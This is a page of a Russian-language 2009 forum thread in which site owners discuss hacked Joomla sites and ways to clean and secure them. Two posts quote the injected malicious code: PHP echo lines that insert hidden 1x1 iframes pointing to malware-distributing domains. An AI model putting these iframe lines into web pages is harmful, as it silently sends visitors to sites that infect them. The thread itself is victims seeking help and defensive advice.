Сайт взломали. Удалось восстановить, но вопрос безопасности остался актуальным

Discussion in 'Вопросы безопасности' started by liga, Jan 22, 2009.

Page 3 of 4
  1. Bellatrix
    Offline

    Bellatrix Недавно здесь

    Joined:
    Nov 21, 2008
    Messages:
    76
    Likes Received:
    5
    Gender:
    Male
    Может ещё к базе пароли поменять?
    Долго ли их по ФТП из конфига прочесть...
    И проверить, нет ли на сайте папок с правами 777.
    Кэш сайта временно запретить и очистить.
    Теоретически не должны пролезть.
     
    Bellatrix, Feb 25, 2009
    #41
  2. Offline

    Ирина Ревин Недавно здесь

    Joined:
    Aug 19, 2008
    Messages:
    74
    Likes Received:
    1
    Gender:
    Male
    ок, и к базе счас пароль поменяю... в коре сайта все папки с правами 755..

    Но проблема таки остается!
    самом index.php сайта его нету, если открываю сайт в хтмл не заходя в админку тож нету..
    а вот когда открываю из админки (открывается в блокноте в файле index2(1))

    где и что подчистить нужно?
     
    Ирина Ревин, Feb 25, 2009
    #42
  3. Offline

    Egoz Пользователь

    Joined:
    Jun 1, 2006
    Messages:
    60
    Likes Received:
    0
    Gender:
    Male
    а как это сделать? что надо искать? какие-нить посторонние файлы?
    я уже все папки с файлами index.php (html) почистил от этого левого кода + проверял все пространство встроенным антивирусом из cPanel'и
    как можно найти этот самый источник?
     
    Egoz, Mar 11, 2009
    #43
  4. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    Прочитай еще все раз описанное выше, это не тот случай, когда решишь все проблемы что то, где то поправив. Антивирусом на хостинге ничего найдешь, потому что там его нет. Там есть небольшой код, который ведет пользователя зашедшего на твой сайт на другой сайт, где ему и "ставят" трояна. Вирус у тебя на компьютере.....
     
    Asylum, Mar 11, 2009
    #44
  5. koreeckz
    Offline

    koreeckz Активист => Cпециалист <=

    Joined:
    Mar 3, 2009
    Messages:
    422
    Likes Received:
    30
    Gender:
    Male
    Ирина Ревин, заходишь через тотал коммандер на фтп в корень сайта, прописываешь код айфрэйма в ключевых словах в поиске, он выдаст список файлов содержащих код, редактируешь их и радуешься )
     
    koreeckz, Mar 24, 2009
    #45
  6. Offline

    Ирина Ревин Недавно здесь

    Joined:
    Aug 19, 2008
    Messages:
    74
    Likes Received:
    1
    Gender:
    Male
    Уже)) Все почистила руками, поменяла пароли на базы, фтп и админку.. радуюсь, пока рецидива не наблюдается)
     
    Ирина Ревин, Mar 25, 2009
    #46
  7. Offline

    termit Недавно здесь

    Joined:
    Feb 20, 2009
    Messages:
    3
    Likes Received:
    0
    Народ, Вы чего тупые чтоли, не ужели никто не заметил что редирект идет на cocacolaN, то есть данный чел заразил мимнимум 65 сайтов, отсюда делаем вывод.


    1. проверьте свой форум phpbb- дрявый он жуть
    2. наверное у Вас регистрация на сайте разрешена? Если разрешена в 0.15 то лучше запретите ее, объяснять не буду, сами не глупые надеюсь
    3. ставим на все 755 права, а не 777
    4. не используем постороннии компоненты
    5. на порно сайты ходим быстро и поделу. И желательно с чистой машины.
    6. Ставим лицензионную винду.

    Ну и самый надежный способ не выходим в интернет вообще.
     
    termit, Mar 31, 2009
    #47
  8. Offline

    _voland_ Местный => Cпециалист <=

    Joined:
    Apr 12, 2008
    Messages:
    2,171
    Likes Received:
    102
    Gender:
    Male
    Оффтопик (не в тему) - жми сюда!
     
    _voland_, Mar 31, 2009
    #48
  9. Gronpipmaster
    Offline

    Gronpipmaster Недавно здесь => Cпециалист <=

    Joined:
    Jan 21, 2009
    Messages:
    1,392
    Likes Received:
    62
    Gender:
    Male
    или фри линух, винда обсалютно не причем всякой дряни повидал, и та и та заражаеться как делать нефиг, и не согласен
    Код (CODE):
    1. Народ, Вы чего тупые чтоли
     люди помочь пытаются, а зайти и "кинуть в толпу гадости" каждый может.
     
    Gronpipmaster, Mar 31, 2009
    #49
  10. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    Именно в ей он живет (вирь)
     
    Asylum, Mar 31, 2009
    #50
  11. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    Оффтопик (не в тему) - жми сюда!
     
    liga, Mar 31, 2009
    #51
  12. jokpop
    Offline

    jokpop Недавно здесь

    Joined:
    Nov 26, 2008
    Messages:
    49
    Likes Received:
    12
    Gender:
    Male
    Вчера была атака, после чего шаблон сайта вырубила ошибками, а в index как шаблона так и админа появились строчки
    Код (CODE):
    1. <?php mosLoadAdminModules( 'debug' );
    2. echo "<iframe src=\"http://live-counter.net/?click=24692890\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
    3. ?>
    по url требуют пароль, а на втором нет ничего. что делать, каспер при открытие сайта ругнулся трояном!
     
    jokpop, Apr 9, 2009
    #52
  13. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    Тема стала актуальной, может есть повод написать развернутый фак по основам защиты
     
    Asylum, Apr 9, 2009
    #53
  14. infoman
    Offline

    infoman Пользователь

    Joined:
    Aug 28, 2007
    Messages:
    581
    Likes Received:
    12
    Gender:
    Male
    а что антивирусы совсем лысые?
     
    infoman, Apr 9, 2009
    #54
  15. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    Если вирь не занесен в базу и не ведет себя как слон в посудной лавке
     
    Asylum, Apr 9, 2009
    #55
  16. Offline

    kahcepb Недавно здесь

    Joined:
    Apr 9, 2009
    Messages:
    3
    Likes Received:
    0
    Gender:
    Male
    Тож недавно поломали, код был прописан где только можно

    echo "<iframe src=\"http://goooogleadsence.biz/?click=3D5B003\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

    echo "<iframe src=\"http://live-counter.net/?click=9703578\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

    echo "<iframe src=\"http://xtrarobotz.com/?click=24EC45\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

    посмотрел логи на сервере, все заливалось через фтп, сменил пароли на все...
    При проверке компьютера доктор вебем (последним) вирусов не обнаружено, зато Outpost постоянно пресикает попытки что либо скачать всякими не понятными экзешниками, а так же изменения файлов.
    Буду ставить другой антивирь, пока на ftp не логинюсь... боюсь опять пароль уйдет
     
    kahcepb, Apr 10, 2009
    #56
  17. Offline

    _voland_ Местный => Cпециалист <=

    Joined:
    Apr 12, 2008
    Messages:
    2,171
    Likes Received:
    102
    Gender:
    Male
    Для защиты рекомендую Avira для лечения - AVZ
     
    _voland_, Apr 10, 2009
    #57
  18. Offline

    kahcepb Недавно здесь

    Joined:
    Apr 9, 2009
    Messages:
    3
    Likes Received:
    0
    Gender:
    Male
    касперский нашел 2 вируса, один из них сидел в тотал командере (через который я заливал все на фтп)... надеюсь теперь будет все нормально
     
    kahcepb, Apr 10, 2009
    #58
  19. Offline

    _voland_ Местный => Cпециалист <=

    Joined:
    Apr 12, 2008
    Messages:
    2,171
    Likes Received:
    102
    Gender:
    Male
    Ненормально то что они попали в систему!!!
     
    _voland_, Apr 10, 2009
    #59
  20. infoman
    Offline

    infoman Пользователь

    Joined:
    Aug 28, 2007
    Messages:
    581
    Likes Received:
    12
    Gender:
    Male
    да да да
    меня нортон бережотт :) корпоративный :)
    а тотолами вообще не пользуюсь (ибо корпоративный прокси (ограничение по портам (против инет вирусов)) по моему гораздо для управления сайтом использовать отдельный браузер https, ssh туннель, пропуская всё это гомно через vpn туннель....
     
    infoman, Apr 10, 2009
    #60
Page 3 of 4
< Исчезли меню сайта | Вражеская ссылка в материалах(в шаблоне) саита ! >

Share This Page

Loading...